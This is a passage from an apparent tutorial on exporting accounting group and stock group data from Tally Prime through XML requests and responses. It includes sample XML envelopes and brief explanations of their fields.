                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Misc. Expenses (ASSET)"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Misc. Expenses (ASSET)"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Misc. Expenses (ASSET)<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Provisions"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Provisions"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Provisions<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Purchase Accounts"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Purchase Accounts"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Purchase Accounts<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Reserves <span class="hljs-symbol">&amp;amp;</span> Surplus"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Reserves <span class="hljs-symbol">&amp;amp;</span> Surplus"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Reserves <span class="hljs-symbol">&amp;amp;</span> Surplus<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Retained Earnings<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Sales Accounts"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Sales Accounts"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Sales Accounts<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Secured Loans"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Secured Loans"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Secured Loans<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Stock-in-Hand"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Stock-in-Hand"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span>-1447900.00<span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span>-1447900.00<span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Stock-in-Hand<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Sundry Creditors"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Sundry Creditors"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Sundry Creditors<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Sundry Debtors"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Sundry Debtors"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Sundry Debtors<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Suspense A/c"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Suspense A/c"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Suspense A/c<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Unsecured Loans"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Unsecured Loans"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Unsecured Loans<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">COLLECTION</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DATA</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>This XML snippet appears to be a part of a response from Tally, detailing various financial groups and their associated attributes. The response includes information about different account groups, such as "Bank Accounts," "Capital Account," and "Current Assets," among others. Each group is defined with elements such as <code>NAME</code>, <code>RESERVEDNAME</code>, <code>TBALOPENING</code>, and <code>GRPOPENINGBALANCE</code></p>
<h2 id="heading-export-stock-group-data-from-tally-prime"><strong>Export stock group data from Tally Prime</strong></h2>
<p><strong>XML Request:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TALLYREQUEST</span>&gt;</span>EXPORT<span class="hljs-tag">&lt;/<span class="hljs-name">TALLYREQUEST</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TYPE</span>&gt;</span>COLLECTION<span class="hljs-tag">&lt;/<span class="hljs-name">TYPE</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">ID</span>&gt;</span>List of Stock Group<span class="hljs-tag">&lt;/<span class="hljs-name">ID</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>$$SysName:XML<span class="hljs-tag">&lt;/<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">TDL</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TDLMESSAGE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">COLLECTION</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"List of Stock Group"</span> <span class="hljs-attr">ISINITIALIZE</span>=<span class="hljs-string">"Yes"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">TYPE</span>&gt;</span>Stock Group<span class="hljs-tag">&lt;/<span class="hljs-name">TYPE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>Parent<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>GSTDetails<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>HSNDetails<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">COLLECTION</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">TDLMESSAGE</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">TDL</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>The provided XML code is designed to export stock group data from Tally Prime, specifically targeting key details such as parent groups, GST details, and HSN details.</p>
<p><strong>TDLMESSAGE</strong>:</p>
<ul>
<li><p><strong>COLLECTION NAME</strong>: Named "List of Stock Group".</p>
<ul>
<li><p><strong>TYPE</strong>: Specifies "Stock Group" as the data type.</p>
</li>
<li><p><strong>NATIVEMETHOD</strong>: Includes key fields:</p>
<ul>
<li><p><strong>Parent</strong>: Parent group of the stock group.</p>
</li>
<li><p><strong>GSTDetails</strong>: GST-related details.</p>
</li>
<li><p><strong>HSNDetails</strong>: HSN details associated with the stock group.</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><strong>XML Response:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">STATUS</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">STATUS</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">CMPINFO</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COMPANY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COMPANY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LEDGER</span>&gt;</span>2<span class="hljs-tag">&lt;/<span class="hljs-name">LEDGER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCENTRE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCENTRE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GODOWN</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GODOWN</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKGROUP</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKGROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKITEM</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKITEM</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CURRENCY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CURRENCY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">UNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">UNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">BUDGET</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">BUDGET</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CLIENTRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CLIENTRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERVERRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERVERRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TDSRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TDSRATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERIALNUMBER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERIALNUMBER</span>&gt;</span>
